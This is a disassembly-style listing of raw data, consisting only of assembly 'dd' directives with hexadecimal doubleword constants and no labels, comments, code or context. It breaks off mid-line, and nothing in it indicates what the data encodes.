dd 814A232Eh, 6199F60Eh, 79B0F336h, 32626004h, 0DC2854B4h dd 0ECC05B01h, 80C4FE08h, 0E7ECF7C9h, 21043958h, 0F89D453Bh dd 0FE66132Ch, 0B200FB8Ah, 0B6B450CEh, 0C02ECCFEh, 0EC0A8BE4h dd 8E052810h, 8307E188h, 0D107CAC1h, 49F10EBBh, 953A506Fh dd 0C1BCAD5Fh, 17F9C440h, 812F0D97h, 6E0DFDF7h, 5F858CB8h dd 0E49C6477h, 20090537h, 5D602Dh, 69323F88h, 0FE2FED1Fh dd 8159D760h, 4B6812E9h, 0C17C00BAh, 93BF8CDCh, 9ACD313Eh dd 0D7605D17h, 2B58A9E1h, 674922E9h, 7A3CFFE5h, 0C0E0CB5Ch dd 4938102h, 0A9CE9057h, 5DE08357h, 604BCA16h, 27176B8h dd 0E932271Dh, 0C57FAE45h, 57EE961Ah, 8B84EE5Eh, 9ED432F7h dd 0AE4A4E38h, 9C10A0D9h dd 5F8801C7h, 0CF43011Ah, 7B194F20h, 0A5A00402h, 51E5CEEh dd 0BF8E08E9h, 2E7E0C8Eh, 86DC76ACh, 0C0AE6268h, 3C22E20h dd 16BF055Ah, 14A869E5h, 0CB099DFEh, 21F38EE9h, 0EA81CAA0h dd 61F3D63Fh, 764E910h, 64415725h, 427D3076h, 35145AB3h dd 4FF24F0Bh, 0C11FBF0Eh, 0F0CB9056h, 5712BD64h, 4AB84401h dd 680B0CD0h, 0FAE61F42h, 2A38218Bh, 39628908h, 83F37F6Bh dd 5E040C20h, 83C3E958h, 750260ADh, 29AA32F7h, 0DF015BC0h dd 54CEB29Dh, 25D5C391h, 8BE6FF85h, 0B203914Ch, 0E911CC3Fh dd 94D7E9BFh, 74B295CDh, 0A5BC7940h, 34925F81h, 846CFB6Fh dd 0CA3AF180h, 8BB5BB2h, 8409D80Ah, 0D2C9B055h, 2D1ABD2Dh dd 3A32A000h, 18B73315h, 4FE947FFh, 801CD492h, 312849B5h dd 0F75EF528h, 0D541B607h, 86B012Bh, 5D160850h, 0F59065D1h dd 551B416Eh, 82C49734h, 711506C0h, 0BDA8FD63h, 8C982508h dd 5D5EEE31h, 5D4051ACh, 0D1794015h, 5925E277h, 0DC5AD3h dd 559F68B1h, 3863EF81h, 97269C3Ch, 3DB46435h, 0FF9BBF71h dd 0B6026992h, 240FC098h, 5007E728h, 53DEF658h, 0F26B33Fh dd 1408D4F3h, 751317A5h, 389E98BEh, 0C1852270h, 6A52BDE9h dd 27B59441h, 0B1033A62h, 0DD290D12h, 0F9BE3374h, 0D4B7CDE1h dd 7F04FE2Eh, 30FB4568h, 0C09BB14Bh, 0F608E10Fh, 5A27E9D1h dd 8EBB2779h, 753DE8D3h, 0DE26DD9Ch, 76286B09h, 0CA315A86h dd 0BDDA2A53h, 87B4F860h, 531CD4F6h, 633EB050h, 2706E08Eh dd 26DE0306h, 0E5A1D613h, 0D3C1AE03h, 660A04D3h, 0A3995BE9h dd 175407D1h, 47D25767h, 0FB5C049Eh, 0E9090C8Bh, 13DD54E3h dd 9DD0C119h, 846FB93Eh, 949C5AD5h, 9FC90781h, 0D250F709h dd 85F201E9h, 0D283B272h, 0BF8C68F6h, 0A8FABAh, 0CCCF817Dh dd 0E9222B53h, 64C39C4Ah, 0B60B14Bh, 4865447Bh, 28F05FFh dd 0C8989A82h, 8B70BAFBh, 0D8B0AA04h, 0EDAB882Ch, 1BAD4BE7h dd 0BD19BD79h, 16FD7A55h, 93D7E65Ah, 0E4A4F2D7h, 93AAEDBBh dd 20A98504h, 74022BCh, 0F30B4EE9h, 0B668020Fh, 660E1478h dd 11B909C7h, 3CF45682h, 5F170CE8h, 1C9D1FFFh, 9D20E86Fh dd 826C47Bh, 0C9AEE844h, 5B05206Bh, 1EED4D1Fh, 0FC66868Bh dd 0A205966Eh, 8017CF3Bh, 0D068478Eh, 62459C57h, 0B8B6Eh dd 491ED6CBh, 0AF0CD37Ah, 58871159h, 0E14FE26Fh, 0D0640AE9h dd 7C1A1D35h, 447C277Dh, 1535A25h, 0EFAB824h, 12A76E9h dd 0ADDCD988h, 0AFF3A80Fh, 0F5D28332h, 542C1858h, 6900085Fh dd 8133EA40h, 2F3C7BE2h, 565E306Eh, 5775B900h, 7A1B81Eh dd 2DF11207h, 7116416Ch, 0F6F0FAE9h, 0F61FB22Dh, 0EFB0801Fh dd 0E9C4B551h, 0D378A230h, 9879A0C2h, 69FE94B9h, 7CC8405Fh dd 85C5BD0Eh, 9134D727h, 5332DE88h, 7C2CAC80h, 0C5525B47h dd 1D81BC51h, 25CCC721h, 7E3024F7h, 80C825EEh, 805D6C4h dd 5C7A0D99h, 754EEFC0h, 297E1FBFh, 590C824Ch, 0B8D027E9h dd 8E6C01Eh, 0A3C81B09h, 2D7AC34Fh, 0A85FF606h, 1214C6BCh dd 4E5720BAh, 0ECBF85Fh, 40B34127h, 617FE681h, 855CC59Eh dd 0F7D6D162h, 0C9673E5Eh, 3256A9FFh, 792CA901h, 0F02B6902h dd 5D49FFDBh, 0E92DD414h, 0D53C42CCh, 892DE94Eh, 1A945752h dd 475462CBh, 1B66007Dh, 0E9430C86h, 0BA11F4Eh, 0A82DB87Bh dd 1E4A4CBCh, 28C8C2B5h, 0FB5622EAh, 0CE6F75Ah, 54ADF797h dd 286030C2h, 807C409Dh, 0F6E11DE7h, 61BE7CDFh, 95BFE16h dd 0D2550EA1h, 2BCB49Ch, 89201038h, 64C29841h, 0D79043CBh dd 855BEA0Bh, 0DA80F558h, 7C2AE9EBh, 9660D4B7h, 0D3CFB933h dd 0FA9D13BBh, 6B2FF28Fh, 5A689202h, 43F40AF8h, 0D2974ABAh dd 0F18E4A3Ch, 0DA386FD9h, 26E91652h, 0E833BF61h, 91C4D1D6h dd 5736EF2Fh, 0C72D050Ah, 0C20676B0h, 8ADAC539h, 0F67D4620h dd 0EB514F8Fh, 0C968A070h, 6208BC7Dh, 595DBAEFh, 9C96F61h dd 79B8AC20h, 6C7AD861h, 0FDA64C2Dh, 4C524F25h, 0BC0C5DB9h dd 90CB2880h, 960EBFA2h, 965453CBh, 20BFB464h, 0F8FEC20Eh dd 5435752Eh, 686DE801h, 457B055Fh, 0E0C5E92Fh, 2D0BB9DCh dd 605D7354h, 1740C988h, 0E110A77Bh, 121E7C41h, 48FC1784h dd 6A38EF93h, 0C8DB812Ch, 0B8C5417Eh, 37EA748Fh, 69959703h dd 0F27CC4FDh, 0F3AD590Dh, 0D1FD0BD3h, 84512556h, 0E7DC173Bh dd 7A6C0266h, 8289FC34h, 756295EBh, 65CFB25Eh, 32A23488h dd 781DE15Bh, 0BB5B038Dh, 996E5170h, 6879E2E9h, 0FC5EF51Eh dd 0F8F47A93h, 235A396h, 96FEBB67h, 1DF8493h, 585D503Ah dd 21E8817Fh, 0DD616FEBh, 0E328806Dh, 89D723DAh, 2CFB7FF3h dd 794FA162h, 374EEA5Ah, 0AAE41BEEh, 0F084374Ah, 498257C0h dd 24317B10h, 81686562h, 6F2AFCBDh, 9674EC63h, 2B3EC89Dh dd 0F26BE30Ah, 0AF797F6Ah, 81B82997h, 77DE09F1h, 3C460C82h dd 0A4260B9h, 3408B888h, 5D14090Ch, 55163CF3h, 702DCB52h dd 0B054BD2Ah, 0B76BF0E9h, 9209902Eh, 640115C6h, 0F7723217h dd 0E9C446DEh, 0EA405970h, 0C82CD139h, 0C89212AEh, 0D05E891Fh dd 74CBDEADh, 0BB601BDEh, 7D4D0F37h, 87D2270Ch, 0BA688D7Ch dd 63E18313h, 0F28AD87Ah, 6615E58h, 7B1B442Ah, 72E92492h dd 6271A568h, 82145469h, 8802E968h, 0DCD54969h, 54B5D8F2h dd 0FCF44B5Fh, 9865527Ah, 0E7FE60E6h, 7506ACBFh, 8FFC255Fh dd 301BB400h, 2D5FF931h, 27298B0Eh, 2F8D7447h, 0D35D63AEh dd 0EA58BADDh, 0E865DD80h, 3915263Fh, 0FC2E14A5h, 954A7013h dd 0B7A83C55h, 2795DF66h, 176ADF88h, 0BA40529Eh, 0E94B746Dh dd 0E232EB8Ch, 0C9FB6113h, 1404417Dh, 40EA4D5Ah, 0A2761376h dd 0EE042FEBh, 8CBB8FF5h, 0D58D77Ah, 0E8BFA440h, 0B71DB65Fh dd 0E97876F4h, 3176B607h, 9DB00Ch, 2451D0B9h, 3902AC4h dd 2FBA1EF9h, 75AC80B5h, 0B4D25AA6h, 2EAE5F52h, 0A9680A8Ah dd 2CFA661h, 4044D54Ch, 1D76F207h, 8C497D40h, 251402E1h dd 70866912h, 41B0EBA0h, 0A02944A1h, 464A5E99h, 0D9035640h dd 0C9B85Ch, 29D31B3Ah, 621CE9E8h, 810142A4h, 1EE459F6h dd 47F968C7h, 654D486Ah, 0E77183Dh, 80728515h, 0C2582959h dd 15DC0444h, 25BB1C69h, 0A8E6EB5Ch, 0E9891988h, 0FEEFC0DDh dd 17F6A1C2h, 16C6F7D6h, 10D73730h, 0B97E2168h, 0CF48A586h dd 5F816478h, 82561D60h, 36BC8375h, 72651341h, 85C037F1h dd 1320F80Fh, 4512CF29h, 0D88AC6BFh, 0D7B1EC4Ch, 0EB574C6h dd 8101EF83h, 5C36AC61h, 6AAE4078h, 467C3817h, 2DC2C507h dd 0CD6067A6h, 383B2475h, 1FFE4560h, 0A42668EDh, 0AC4F1722h dd 79315DAAh, 0A6513D2Ah, 25C3283Ch, 47918B76h, 0C0E9417Bh dd 5AB68370h, 9D52D2F7h, 0B8F39F45h, 0C6BA7D40h, 0F00A4401h dd 0D0DEDFD1h, 0DF8C5025h, 15F44907h, 92D2C729h, 0F0807A76h dd 0BF02F28h, 2DBA9C56h, 5DBE29B0h, 3C64B7AFh, 24DCF3BCh dd 439F1C11h, 0E5525F93h, 0CB4EB2EEh, 0E7C90450h, 0FDCBD8h dd 0BF45A875h, 0DC3C8D2Bh, 0E9DF010Bh, 5A17A5Ch, 8EDAB1F3h dd 17F813F6h, 2FFBF8C4h, 0D982DF4Fh, 2B7B52E5h, 0C4CB74A7h dd 0A8ECEBFDh, 51FAF4E4h, 59F5B904h, 0BF8142FEh, 0F5204105h dd 3C4B135Ch, 0CA010129h, 78BF28A5h, 0E5C0D25Ah, 0E5E150E2h dd 50AF13Bh, 4660AA07h, 0E9BCCC6h, 232DB620h, 295B8981h dd 8AAA0F0h, 1D4A6DB0h, 68C1C5B8h, 70820AA0h, 0D69C92C0h dd 522091A0h, 0DEBF0F9Ch dd 9095C0Ah, 713D075h, 0A539F49Fh, 5B42D9E9h, 0EE39C0F0h dd 3E68104h, 510DF680h, 1D4EAF2Ah, 0AC6EDF55h, 0C6201AA8h dd 785B526Bh, 6A20A158h, 0C5095A28h, 68259A95h, 95878CEEh dd 9FE61CDDh, 0DFC9D75Eh, 2F0B0CC5h, 109B9B37h, 50302198h dd 5CC74B65h, 0CE0401B1h, 7EEE76B0h, 0A28F5A70h, 4BAF90C8h dd 1171A5E5h, 0C0EE8260h, 66EABE44h, 0EEC979C4h, 0C371FE76h dd 75228493h, 8AAE957Eh, 2F2FA117h, 0E91248CFh, 548E077h dd 3E5D3009h, 2DC6857Bh, 8798071Eh, 0C0472A67h, 807FC1B5h dd 5E95FB9Ch, 5C500C7h, 0E906A028h, 1CDF59h, 5888B85Bh dd 9E400804h, 6680482h, 0D4C8B96Fh, 5A8C1092h, 0A7685001h dd 0EC190C3Ah, 17C0884Bh, 0EA8022B4h, 0E2283A6Eh, 58B8C2BAh dd 683B2C5Bh, 0D4464A2Eh, 49788F69h, 94D5BDAh, 8A5E7CADh dd 182FDE8Ah, 0A4E42ABFh, 0C10B3690h, 4750401h, 39EB3D0Dh dd 5A7A2D71h, 5EB0EBA8h, 2E53D8E9h, 0FFF3891Dh, 0E916AF9Eh dd 3644BFC3h, 0E6E367E8h, 4F091A05h, 0D912C157h, 6844C066h dd 1852F72Dh, 206BF3C8h, 0EB049B4Fh, 1F871813h, 0E0BEC1AEh dd 0D6F7010Eh, 30D29C30h, 0CE52F370h, 792D40CDh, 90A51438h dd 875340ABh, 0E381F301h, 2AA86AB2h, 119D8A82h, 25FF1250h dd 6C94636Bh, 783C2BEh, 3FDD51F5h, 0A593A1AEh, 40017374h dd 55FA3805h, 9FBCD634h, 0C4AD25E5h, 8C212CDAh, 5EF0899Ah dd 3CED5311h, 204C6Ch, 530F12AFh, 69350D48h, 27F43819h dd 0E446813Bh, 3E9A0E0h, 0DF416435h, 0D8645EA6h, 0FE70EBF1h dd 8950655Ah, 3CFEF36Ch, 761813A3h, 0CAEA7705h, 29A472FAh dd 0C2985957h, 0A0A5C357h, 52BE1EF2h, 897E5FCFh, 0F15F499Eh dd 4003926Ch, 17B3BE65h, 215A4179h, 1DD6A0B4h, 9213CC43h dd 6AC4EFEAh, 41DE1F0h, 83E90EDFh, 0B18B90Ah, 0D545846Dh dd 2E8033E5h, 51BA7B93h, 0EB82468h, 2F7A6BD1h, 6F53E913h dd 7906B921h, 0DE07A8B8h, 0A59DC680h, 0B8A45297h, 0AC8F134Bh dd 98F3AD37h, 2CE522D1h, 6AB13AA0h, 0D42EB02Dh, 8008A033h dd 1573ADFh, 372D025Ch, 70E3D4EDh, 7217CF70h, 6201060Fh dd 9CF60417h, 0D084A80h, 75E96BE1h, 27A5E4BFh, 0F05148E8h dd 0DA80DCA5h, 0A40167DDh, 0AECE16ABh, 0EC749DCh, 1315CBEh dd 20C4AE3Dh, 0EB584A08h, 0CC65EE76h, 304C5D92h, 1F09CC59h dd 2F121CEBh, 0E82E97B1h, 0B54F3CEh, 4B82E9C7h, 4A619675h dd 0C3DE84FAh, 0E8F101Dh, 3C78AA13h, 0BE392EE9h, 0C9E39D4Eh dd 0D4C8A7DBh, 533D798Dh, 0B6A59328h, 6D23D9BAh, 45538E4h dd 5C0159D2h, 0C00D499h, 0C9A5BEE9h, 0B3FAC6DBh, 0A3B83F90h dd 0BDEE82B0h, 0F1572860h, 4E8D7CFBh, 7836B109h, 0A85FA4BDh dd 0A09D817h, 0BF85D8E5h, 183F7365h, 0BA649B47h, 0AB30D705h dd 0C3F6D01h, 80706913h, 60787B44h, 25409C0Dh, 0D09D24B4h dd 2D5391CEh, 0FA09AFFEh, 56AC9916h, 0DF1DE56Ch, 0A23533Eh dd 2707EFAFh, 0D1A04970h, 4116F0C3h, 0C810359Eh, 520840EDh dd 0C1885113h, 0F27712BEh, 0C9F1CFBFh, 0CA7C760Bh, 167FA500h dd 83193F6h, 660D477Bh, 65E46A5Ah, 27C49A67h, 7E6DE21h dd 16DCCEB5h, 0E287B7E9h, 722304CBh, 90BA0151h, 0C928F4C4h dd 7DC7334Eh, 3360EB36h, 58735B30h, 75D1DA3Dh, 3E39A74Fh dd 9F7BF7F8h, 0C5A7FF18h, 125BEE88h, 0AF317673h, 2E135960h dd 0C67C5011h, 4F8825Bh, 0B2960BF0h, 89EE2902h, 50707EF5h dd 65BDDDF7h, 0F8B98268h, 0AFDF973h, 841943FBh, 79DCCA21h dd 5106B69Ah, 28003F91h, 4F61BCB9h, 20D59D66h, 327B0944h dd 4ECAF003h, 91A2F457h, 2B1BD49h, 0F58158C5h, 8C98DE43h dd 0EBCD66B3h, 0FFA92AC9h, 0BF2AD6EEh, 0C2805B5Bh, 0A13C6CDAh dd 60FEA749h, 5C27E33Ch, 0D7050C43h, 0EA0E9FF8h, 19F317B0h dd 58C1C9E9h, 1194D854h, 148B6C9Eh, 6C0F221Ch, 3EB4DF66h dd 50975EB5h, 0E6BD6352h, 68C52890h, 20C91EFh, 633E6047h dd 79D40880h, 29453B8Bh, 1E0C38A1h, 9E926EE9h, 213502B9h dd 29FD0537h, 0EE480053h, 980E8A1Ch, 26FA0266h, 0C7E92ABEh dd 0B655DAD7h, 50143DC2h, 4C137273h, 0AA0253AAh, 5FF5FBD1h dd 2C7BD8Ah, 345C406Ch, 0EAA0088Eh, 2C927865h, 5223F697h dd 0E2E9B001h, 28983EF1h, 1D519532h, 59D2CE47h, 0E076E8E2h dd 9F350003h, 5043A12h, 775EF8DEh, 0F8313BAh, 26240CE6h dd 0BCB8C0CAh, 6E5F2839h, 0C9F246C2h, 65655EBCh, 7AE6066Eh dd 0BA09EEA3h, 825C853Ch, 0FC5AD6ABh, 68530B1Dh, 988EE675h dd 8E1326D0h, 9486C9Ch, 71B82B72h, 271CEF01h, 0F7293E8Ah dd 8189344h, 5F89E978h, 3649AA45h, 27707C3Dh, 277B955Fh dd 421E16DDh, 69E9172Ch, 0EE7090F9h, 0EB885FF9h, 0B4EAEB35h dd 60EEE17Ch, 295B73B2h, 0CE5521E1h, 9846E0FBh, 6530EDF0h dd 0ECD5E040h, 0E9FE0B18h, 945F1FF0h, 0D70CDCE1h, 831CABC6h dd 4FEE3B4h, 0BE93BC12h, 0FB4A63CBh, 0FDBAB740h, 4E75ED28h dd 0F6E12552h, 6EE982F6h, 52B90073h, 7C4C3809h, 4E790522h dd 0CBC051A9h, 168B2368h, 0CF31DFh, 0DEA6C713h, 5001EEDh dd 3D7F7724h, 2F39DA2Dh, 0E0D808CEh, 7E50783h, 0D9015F11h dd 83402605h, 0D8C2387Eh, 0E67C26E4h, 0E3BF5195h, 0D371920h dd 0CCA2C3F3h, 0F5680160h, 8829895Bh, 8311D798h, 6E07E595h dd 5EFDDA16h, 2ED3C680h, 564E6B76h, 16831BEh, 8ADD7AE6h dd 26DA240h, 412C1A61h, 387556C1h, 26965367h, 299030Ch dd 0B9D0E87h, 8A4285Fh, 0B71EE906h, 635B5032h, 9791B27Ch dd 0E44EF5C1h, 0B1B5771Ah, 6D80B463h, 2D42F381h, 535E2652h dd 81BBBB34h, 0F14E569Dh, 0BBB43A5Eh, 30347CE6h, 0D4F25591h dd 0EA607EBFh, 0D7330FA2h, 0F301204Ch, 8AE90880h, 79C3C2B7h dd 437C4945h, 4B810634h, 16F05EAh, 3513037h, 0F8C2E631h dd 0F4ED4EFFh, 0B4494F9Bh, 0CD4A72EDh, 3AC158A2h, 425CD56Ah dd 0CF843008h, 0A0AC8466h, 203DBD69h, 0D15E8774h, 0AAD457EDh dd 407AAAF1h, 237F9FFEh, 45000571h, 2D3AF453h, 4C020DC3h dd 0A37C401Eh, 110EE507h, 214EC15Eh, 0C03A2F85h, 7749528Bh dd 5D44B48h, 8C961897h, 5AB9310h, 6280E9D8h, 587D74CAh dd 68B0EBC2h, 4C926EE2h, 0F4A5FA20h, 1213525Ch, 0B7825D39h dd 0CD45E974h, 0BD8718F7h, 0A5462815h, 32CFA8Bh, 0E938C937h dd 280389B0h, 0EB8047B3h, 0DDE5D701h, 1697D888h, 0EAAC9E3Dh dd 0AD22D645h, 0D743A2AEh, 0E41793AAh, 0AFCB9A72h, 40802F5Ah dd 6FF5D2Ah, 41A09F59h, 49677563h, 533508A0h, 0EEB72F7Eh dd 80C8244h, 0C0271AA4h, 4F5E0C5Bh, 0C564AE59h, 0C8AE3513h dd 644A1B9Ah, 0A7DFA1A8h, 84565E7Ch, 0AF4DBD6Eh, 0BF76804h dd 410739EEh, 7BA8A065h, 9317B0EDh, 24C8EF82h, 2842400Fh dd 2DEEF858h, 0D7E162F7h, 0F3AC08C7h, 890BD4A7h, 0B077F029h dd 4BE95668h, 5AF800Dh, 3C2C36B1h, 3D02A413h, 5F318765h dd 0B4299AAh, 845C4C9Dh, 1FA66841h, 2225F569h, 0EA40A2F1h dd 1BBC4F5Ah, 46D129E9h, 0C5376FAFh, 0F360FF54h, 62456857h dd 193F5116h, 28596600h, 82DD3F3h, 0B80169DAh, 2D1C4EE8h dd 3353AC4h, 924806D8h, 809CDAF7h, 0CA5F02A9h, 4D2B20F7h dd 0CB82E0DEh, 602E132Dh, 2508EA3Dh, 3502713Eh, 0BF40635Dh dd 0DA97D3F7h, 0F4F304CFh, 0AF065E3Bh, 172A8886h, 12AA2113h dd 86050E2h, 3FD95E25h dd 271CC46Bh, 0E66CE828h, 2166852Fh, 3E2B2E9Ah, 75CB1E70h dd 53D030AAh, 8624E76Eh, 27702C4Ch, 62785C64h, 59DFA5D1h dd 3A1109A7h, 0BA829877h, 2DF84B88h, 2FB12E94h, 0AF060693h dd 8885D1B2h, 0E9FD85C2h, 54511725h, 0CCCDBBBh, 2EAC18E9h dd 0EE293C59h, 27862C18h, 251E15E1h, 3CD74764h, 0FA2FFAE1h dd 5D532B62h, 0D362D79Ch, 0DC41D2EDh, 0B25261F4h, 0BF876EFDh dd 80FBA155h, 2C6A04DEh, 0B91DBF74h, 4FBAD028h, 0E9F0CBF8h dd 5C99D2EBh, 0CE134403h, 5E8FD9D4h, 9369B34Dh, 13B6C911h dd 2BB25559h, 6ABB6880h, 0E9132A51h, 0BAB4DC74h, 49CFF0ADh dd 0D117EE6Ch, 0D5A54589h, 35D8AB27h, 605E0F2Dh, 19F27EACh dd 0D85D145Fh, 719F2AD9h, 125FC93Ah, 3D875BBh, 0C646489Fh dd 0D922123Dh, 0B1B1EE0Dh, 950F4CCh, 8EE9648Fh, 0FD2D1AFCh dd 45F8AC32h, 0C05E8817h, 3E25706h, 44AEC06h, 6F1CA81h dd 0FF80FF3Ch, 4B6605F2h, 0DD92FF1Ah, 7160D55Bh, 5F82474Dh dd 475BFE89h, 3A890069h, 0D211262Ah, 78D7012Eh, 7B7D7A23h dd 79219BC0h, 1DD0CE15h, 18738326h, 0F81A5409h, 0DD518756h dd 42892787h, 7B08D5F5h, 0D7D813A0h, 0F83BBABh, 6007525Dh dd 54DE346Fh, 41CF10A9h, 0BD5C92B1h, 7AC4A141h, 55D0E244h dd 0F7C9F2ECh, 0D59DAF50h, 0B4093F95h, 0A31CFF42h, 8FFA874Eh dd 1BD2633Ch, 61808D40h, 0C4019368h, 1A90251h, 0D7F7FA87h dd 0D29408A7h, 4E6E2CEh, 63EC1CEFh, 3B44DA10h, 0BFF0195Ah dd 0B83AC2C1h, 0C7C55E0Ah, 8D987585h, 6442B055h, 0C2D8B736h dd 0BE10DECCh, 1F05805Dh, 3F3D77FEh, 42ECA550h, 0AFDEC55Ch dd 0F72724F8h, 8112AED1h, 6F7B213Eh, 809B30E0h, 0AC78F780h dd 0BCC7544Eh, 66D8A36Fh, 0C5689053h, 1B23BD3Ch, 0B8A12BB0h dd 5DB3F852h, 3EBC01Ah, 93845707h, 66D6C088h, 647AB450h dd 303FEC01h, 38C8E9E6h, 2A03B932h, 532EC640h, 8E99D6E1h dd 5A62D76h, 10AF28FEh, 0C95C072Ah, 47262DC3h, 0EDE25392h dd 6B136661h, 2DF92A39h, 0EAFE176Eh, 0C35D78CAh, 145A657Eh dd 0A7B40055h, 5F491262h, 0EBEFD126h, 29C2062Fh, 0E27F200Eh dd 9500589Dh, 9AA407F4h, 872DB2A0h, 45C1510Ch, 75E75608h dd 0CC2CEF4Dh, 1396BC61h, 0AB40D4B8h, 695ED4E0h, 0E485457Fh dd 0C6DAA031h, 7126087Dh, 7406A493h, 272E0D36h, 3E744DF2h dd 0BF683974h, 0F2FDE8DBh, 1362FE31h, 264BE21h, 107B87A1h dd 12967912h, 2D32BF53h, 0F4795F5Bh, 2955923Fh, 628315D5h dd 0A38CC42Eh, 0D5F250h, 5801AB16h, 1762CE0Dh, 5A147C4Fh dd 9D421017h, 3EA50C62h, 8D236B80h, 98E48Ch, 0D8BFD5B8h dd 0D0F73487h, 34A8AB04h, 0CB360D01h, 0F8112D23h, 290916C6h dd 0A977E9C5h, 5C60D831h, 0E1CD2255h, 3F5C40A3h, 0D20BCCAEh dd 19659868h, 0E62E5A42h, 6FEB0119h, 507D5B7Ch, 2D99BD3Ah dd 75C3A058h, 9C43D571h, 0E95150CBh, 0C61B134h, 0BFD21FE9h dd 601F7F8Ch, 9FBF1C58h, 2D0D5E0Fh, 608EFC1h, 45EA03Bh dd 48806816h, 0EA1836E3h, 5AB374Fh, 52457E1Eh, 0A0733BC9h dd 3D5DE350h, 8770E57Fh, 0C10B13ADh, 0E68F0177h, 38280134h dd 0F64A2E02h, 0E400B224h, 81653D7Ch, 3B62E4C5h, 0F5022832h dd 1CF844A9h, 251F11D0h, 0E600459Bh, 743F381Eh, 9DB562E9h dd 0F9F87D68h, 0E243D69Dh, 0A2845158h, 7F08E199h, 2FE03B60h dd 81680109h, 0EF4BC3C9h, 550C8531h, 0AFF87F16h, 12800D1Ch dd 0F117EB84h, 5D93CEAFh, 33F505D6h, 3A8231E6h, 650E0950h dd 2125F1D7h, 82BB1403h, 0ACD84701h, 5C5DFE82h, 1574D015h dd 31ACA3B7h, 0B6BB841Ch, 0E3D084CEh, 3BD72E18h, 5C5639Eh dd 97E238D7h, 398AFAC8h, 70306B26h, 0D22A7F56h, 46E64F50h dd 41BE2118h, 314ABF0Ch, 94245471h, 3176C82Bh, 5B10DF58h dd 0CF00F0FCh, 0E986F1BEh, 0CDA8196Fh, 4EEC72AEh, 20BA16BFh dd 6812931Eh, 3332212Dh, 0B0F456BAh, 0DD535DDAh, 58E9230Ch dd 7F6F18Ch, 3B570C6Ah, 487F1B4Eh, 2770DADBh, 0BD0AF464h dd 0A7C20B86h, 807B82CEh, 0F22E8D73h, 0A900F5A1h, 5266D328h dd 4270EDB2h, 0FC3FE110h, 89BAE426h, 0CCF43046h, 440A2612h dd 0F8E31600h, 0C07DBD36h, 33115AB8h, 732DE94Bh, 0C1A21C53h dd 0D5E908BAh, 21EE2B6Ah, 0A53DBA98h, 4A92D110h, 8DBB0B66h dd 90594EDDh, 0AC1A4E14h, 0B9AAA4CEh, 6A8946Ch, 40267AACh dd 2169FD80h, 0E465110h, 0C42BC005h, 54AB2D79h, 0A70513E9h dd 823AC809h, 7FF93435h, 0A431E08Bh, 0E5AA5E83h, 0B6F03F12h dd 82C300C1h, 662FB850h, 3E900E19h, 3C685F40h, 3617703Fh dd 84A8905Ah, 104F1247h, 0C05F674h, 73F032E9h, 22AD09BDh dd 107D333Eh, 0CCD814Ah, 2C7339A6h, 1C1FB90Ch, 0ED01180Bh dd 7E7FFFBBh, 0E9F7F07Ah, 6686E527h, 578C20AFh, 4DBF737h dd 16FF6994h, 2F2AA7C3h, 569B0B35h, 2D9C2C42h, 27D31ED7h dd 9F6121E9h, 0EF80D8B7h, 6180565Fh, 9566F068h, 0FEF64966h dd 0C5BECA4Ah, 0E9A180CDh, 0A1B5CF4Bh, 903D29F3h, 954757CEh dd 4E38CC1Ch, 43CDD8FBh, 6F40DB6Fh, 0D831A5ADh, 0A4BBCCC0h dd 5B20F50Fh, 0D5615CA3h, 0A22EA117h, 3BDA2C79h, 20D458AFh dd 0E02034FFh, 77F49F4Ah, 64630C42h, 72330AA9h, 1F82396h dd 1DEC18F8h, 0E4F76009h, 91D06B4Ah, 4C500429h, 6F171B4Dh dd 4FA0124Ah, 7AC17321h, 2F49CAE9h, 4BB48497h, 4F0543B3h dd 6653F3Bh, 0F5188E8Fh, 56B900B7h, 3A28CD2Ch, 0B77A04D8h dd 0AD96EE64h, 7E165F1Fh, 26F75908h, 789C004Dh, 0F28151A1h dd 8812F90Bh, 0A013555Bh, 7F4540A8h, 4C75C2FEh, 12E7B15Ch dd 0B2EBD97Bh, 39221AB2h, 5EC2DD51h, 41A5EAFDh, 342550FAh dd 154A06Ah, 123AEE40h, 4111469h, 0DF34545h, 4E06642h dd 1BD1F05h, 999A89D7h, 0E0044446h, 4255C161h, 58288FEh dd 27FE44C8h, 92E38458h, 5A8801DAh, 0E1C1045Ah, 0AA14E906h dd 77BF2417h, 0E8ABD569h, 68ED45CAh, 2FEDB14Eh, 6E21B411h dd 0FD5EFDCAh, 84F2C9F6h, 0CFEA696Fh, 4E6E48AEh, 9EFCBAFh dd 5DC9A7E9h, 5667B3D9h, 0ABCD4AFEh, 5FDC62A5h, 4698374h dd 0C68B86BBh, 0D29A55Fh, 0DC8A2017h, 56837F24h, 10A8E614h dd 7058BDACh, 0BE793930h, 0BC3DD675h, 1662735h, 23EB8055h dd 0E1AF2460h, 901075CFh, 0CA2A5E4Dh, 0DFBC4F8Ah, 2881E9E1h dd 0FF832820h, 60A83BF1h, 0CAEE8C5Bh, 3168C840h, 815352Ch dd 8AC104AAh, 0D2F9EDFCh, 2D7EF068h, 0D4F146A6h, 0BE8C1C0h dd 39712FE9h, 206B147Bh, 68E1F76Eh, 0BD4A70C3h, 0A70DC3D3h dd 7EF89337h, 5B341FF9h, 82F21243h, 0BFE85A41h, 80825929h dd 0F69CB7D2h, 8004C1D7h, 0CEFE9EC7h, 300EBFC8h, 855E7A90h dd 7D7EABE1h, 0EBEEE856h, 64F08C16h, 0E25B30FBh, 15482970h dd 6EB18E4h, 97523894h, 0B24B947Dh, 8BE913BEh, 0E43957B9h dd 8BB7E316h, 1567559Ch, 888FD649h, 0D52584DFh, 100892E5h dd 0B64B3E91h, 4FB8157Dh, 0DC2DC1FAh, 91702B26h, 214C160Eh dd 0BB00816h, 87C0FBBh, 6859431h, 552966D5h, 4C3FB00Ch dd 0CE26A77Ah, 12082037h, 0C9221AE9h, 8AF06B99h, 0CC965EECh dd 41599988h, 8EBF4E1Ah, 92827BAh, 7F04D567h, 22D0D865h dd 77EA0117h, 0A05E16B8h, 0D66EF72Bh, 291A11EEh, 228920F1h dd 4254C261h, 0FE573EFCh, 0EDEAC594h, 0B2712602h, 0B2BA8892h dd 0E7EC924Ch, 80AC0664h dd 0C7E979C2h, 0AE5A1F40h, 0E72B20C1h, 6F429195h, 23376F8h dd 23F3CE81h, 0AA4040E1h, 32270293h, 67AA4042h, 98C57231h dd 28B6B3F8h, 3E23492Fh, 562A604h, 81024411h, 18210AC1h dd 0A51F44BBh, 89F400F7h, 5CE8E9DAh, 0B7BB8AD3h, 2257301h dd 0EA08D768h, 0BCD7A5CDh, 58E925D6h, 0CB44F90Bh, 3C69F7F4h dd 5483FD24h, 66F7C583h, 0BB5F1CE5h, 